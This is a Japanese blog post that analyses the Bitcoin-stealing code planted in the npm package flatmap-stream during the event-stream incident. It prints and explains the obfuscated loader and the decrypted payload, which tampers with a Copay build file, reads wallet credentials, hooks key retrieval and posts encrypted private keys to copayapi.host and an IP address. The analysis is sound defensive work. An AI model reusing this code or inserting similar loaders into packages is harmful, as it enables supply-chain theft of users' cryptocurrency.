Help us understand the problem. What is going on with this article?

未来のハッカー(自称)がevent-stream騒動の攻撃コードを説明する

More than 1 year has passed since last update.

まずお詫び。タイトルに「未来のハッカー(自称)」と書きましたが、そんなわけないです。全国のハッカーの皆様、本当に申し訳ございませんm(_ _)m

人気のnpmパッケージである「event-stream」が依存している「flatmap-stream」というパッケージにBitcoinを盗むコードが入れられた事件で、具体的に入れられた攻撃コードを解析してみました。
このページの内容が間違っていたら教えていただけると幸いです。

また、この事件に関する概要などは https://qiita.com/mysticatea/items/aac027f9183ea9f0f9b1 に詳しく書いてありました。この事件に関して知らない場合はあらかじめ読んでおくことをおすすめします。

flatmap-streamのindex.min.jsの攻撃コードの部分(整形済み)

index.min.js
!function () {
  try {
    var r = require;
    var t = process;

    function e(r) {
      return Buffer.from(r, 'hex').toString();
    }

    var n = r(e('2e2f746573742f64617461'));
    var o = t[e(n[3])][e(n[4])];

    if (!o) return;

    var u = r(e(n[2]))[e(n[6])](e(n[5]), o);
    var a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));

    var f = new module.constructor;
    f.paths = module.paths;
    f[e(n[7])](a, '');
    f.exports(n[1]);
  } catch (r) {
  }
}();

このコードの意味を順番に説明します。


var r = require,
    t = process;

この部分はminifyでこうなったのだと思います。
これからはわかりやすいようにrrequiretprocessと書きます。


function e(r) {
  return Buffer.from(r, 'hex').toString();
}

e()という関数を定義しています。16進数表記された文字列を普通の文字列に戻す処理を行っています。


var n = require(e('2e2f746573742f64617461'));

e('2e2f746573742f64617461')の結果は./test/dataなので、このコードではnという変数にtest/data.jsの内容を読み込みます。

test/data.jsは配列になっているので(長いので中身は省略)、nは配列になります。


var o = process[e(n[3])][e(n[4])];

e(n[3])の結果はenve(n[4])の結果はnpm_package_descriptionなので、このコードは

var o = process['env']['npm_package_description'];

という意味になります。

ここで processは配列じゃないと思った方もいらっしゃると思いますが、JavaScriptでは foo.barfoo['bar'] は同じ意味なので、このコードは

var o = process.env.npm_package_description; // 環境変数 "npm_package_description"の中身

となります。

ここでまた よくわからないnpm_package_description という環境変数が出てきましたが、これは npm-scriptsを実行するときに nodeが自動的にpackage.jsondescriptionの内容を格納します。
今回の攻撃は、descriptionA Secure Bitcoin Walletである場合のみ正常に動くようです。(だから余計気づかれにくかった?)


if (!o) return;

変数oの内容(環境変数 npm_package_description)が設定されていない場合は終了するようにしています。


var u = require(e(n[2]))[e(n[6])](e(n[5]), o);

e(n[2])の結果はcrypto
e(n[6])の結果はcreateDecipher
e(n[5])の結果はaes256なので、

var u = require('crypto').createDecipher('aes256', o);

となります。

このコードの意味は、「AES256で暗号化されていて、パスワードがo(=環境変数 npm_package_descriptionの内容)のデータを復号化するオブジェクトを生成して 変数uに入れる」です。
今回はデータの正しいパスワードがA Secure Bitcoin Walletなので、descriptionA Secure Bitcoin Walletであるパッケージでしか動作しません。


var a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));

e(n[8])hex
e(n[9])utf8なので、
hex(16進数文字列のこと)で書かれたn[0]を復号化して変数aに入れる」という処理を行っています。

わかりやすく書き直すと

var a = u.update(n[0], 'hex', 'utf8') + u.final('utf8');

になります。
この結果は

a
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};

になります。


var f = new module.constructor;
f.paths = module.paths;
f[e(n[7])](a, '');
f.exports(n[1]);

e(n[7])_compileなので、

var f = new module.constructor;
f.paths = module.paths;
f._compile(a, '');
f.exports(n[1]);

となります。
このコードの処理内容は、「変数aがエクスポートしている関数を、n[1]を引数にして呼び出す」です。
それでは変数aの処理内容を見ていきましょう。

変数aの処理内容

aの内容ですが、そのままだと読みにくいので、少し読みやすく整形しました。
コメントを入れてあるので、大体の処理の流れをつかめるかと思います。
(ここに関してはもっとわかりやすく書きなおす予定)

/*@@*/
module.exports = function (e) {
  // e は 暗号化したスクリプト
  try {
    // コマンドライン引数が「build」関係でなければ終了する(ビルドするときだけ発動する)
    if (!/build\:.*\-release/.test(process.argv[2])) return;

    var fs = require('fs');
    var i = './node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js';
    var n = fs.statSync(i);
    var c = fs.readFileSync(i, 'utf8');

    // 暗号化したスクリプトを復号する(復号結果は↓に書きます)
    var o = require('crypto').createDecipher('aes256', 'A Secure Bitcoin Wallet');
    var s = o.update(e, 'hex', 'utf8');
    s = '\n' + s + o.final('utf8');

    var a = c.indexOf('\n/*@@*/');
    0 <= a && (c = c.substr(0, a));

    // 他の処理で使うファイルを改ざんする(暗号化してあったスクリプトを混入させる)
    fs.writeFileSync(i, c + s, 'utf8');
    fs.utimesSync(i, n.atime, n.mtime);

    // プロセスの終了時に
    process.on('exit', function () {
      try {
        // 改ざんしたファイルを改ざんする前の状態に戻す(更新日時も変更しない)
        fs.writeFileSync(i, c, 'utf8');
        fs.utimesSync(i, n.atime, n.mtime);
      } catch (e) {
      }
    });
  } catch (e) {
  }
};

暗号化してあったスクリプト

/*@@*/
!function () {
  function e() {
    try {
      var http = require('http');
      var crypto = require('crypto');
      var publicKey = '-----BEGIN PUBLIC KEY-----\n' +
              'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\n' +
              'DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\n' +
              'BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n' +
              '2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\n' +
              'PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\n' +
              'LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n' +
              '2wIDAQAB\n' +
              '-----END PUBLIC KEY-----';

      /**
       * 指定したホストの8080番ポートにHTTPのPOSTでファイルを送信する
       * @param e 16進数で表記したホスト名
       * @param t POSTするパス
       * @param n 送信するファイル
       */
      function uploadFile(e, t, n) {
        e = Buffer.from(e, 'hex').toString();
        var r = http.request({
          hostname: e,
          port: 8080,
          method: 'POST',
          path: '/' + t,
          headers: {'Content-Length': n.length, 'Content-Type': 'text/html'}
        }, function () {
        });
        r.on('error', function (e) {
        }), r.write(n), r.end();
      }

      function r(e, t) {
        for (var n = '', r = 0; r < t.length; r += 200) {
          var o = t.substr(r, 200);
          // 公開鍵暗号を使ってファイルを暗号化している
          n += crypto.publicEncrypt(publicKey, Buffer.from(o, 'utf8')).toString('hex') + '+';
        }

        // copayapi.hostに送信する
        uploadFile('636f7061796170692e686f7374', e, n);

        // 111.90.151.134に送信する
        uploadFile('3131312e39302e3135312e313334', e, n);
      }

      function l(t, n) {
        if (window.cordova) try {
          var e = cordova.file.dataDirectory;
          resolveLocalFileSystemURL(e, function (e) {
            e.getFile(t, {create: !1}, function (e) {
              e.file(function (e) {
                var t = new FileReader;
                t.onloadend = function () {
                  return n(JSON.parse(t.result));
                }, t.onerror = function (e) {
                  t.abort();
                }, t.readAsText(e);
              });
            });
          });
        } catch (e) {
        } else {
          try {
            var r = localStorage.getItem(t);
            if (r) return n(JSON.parse(r));
          } catch (e) {
          }
          try {
            chrome.storage.local.get(t, function (e) {
              if (e) return n(JSON.parse(e[t]));
            });
          } catch (e) {
          }
        }
      }

      global.CSSMap = {}, l('profile', function (e) {
        for (var t in e.credentials) {
          var n = e.credentials[t];
          'livenet' == n.network && l('balanceCache-' + n.walletId, function (e) {
            var t = this;
            t.balance = parseFloat(e.balance.split(' ')[0]), 'btc' == t.coin && t.balance < 100 || 'bch' == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r('c', JSON.stringify(t)));
          }.bind(n));
        }
      });
      var e = require('bitcore-wallet-client/lib/credentials.js');
      e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function (e) {
        var t = this.getKeysFunc(e);
        try {
          global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r('p', e + '\\t' + this.xPubKey));
        } catch (e) {
        }
        return t;
      };
    } catch (e) {
    }
  }

  window.cordova ? document.addEventListener('deviceready', e) : e();
}();
Why do not you register as a user and use Qiita more conveniently?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away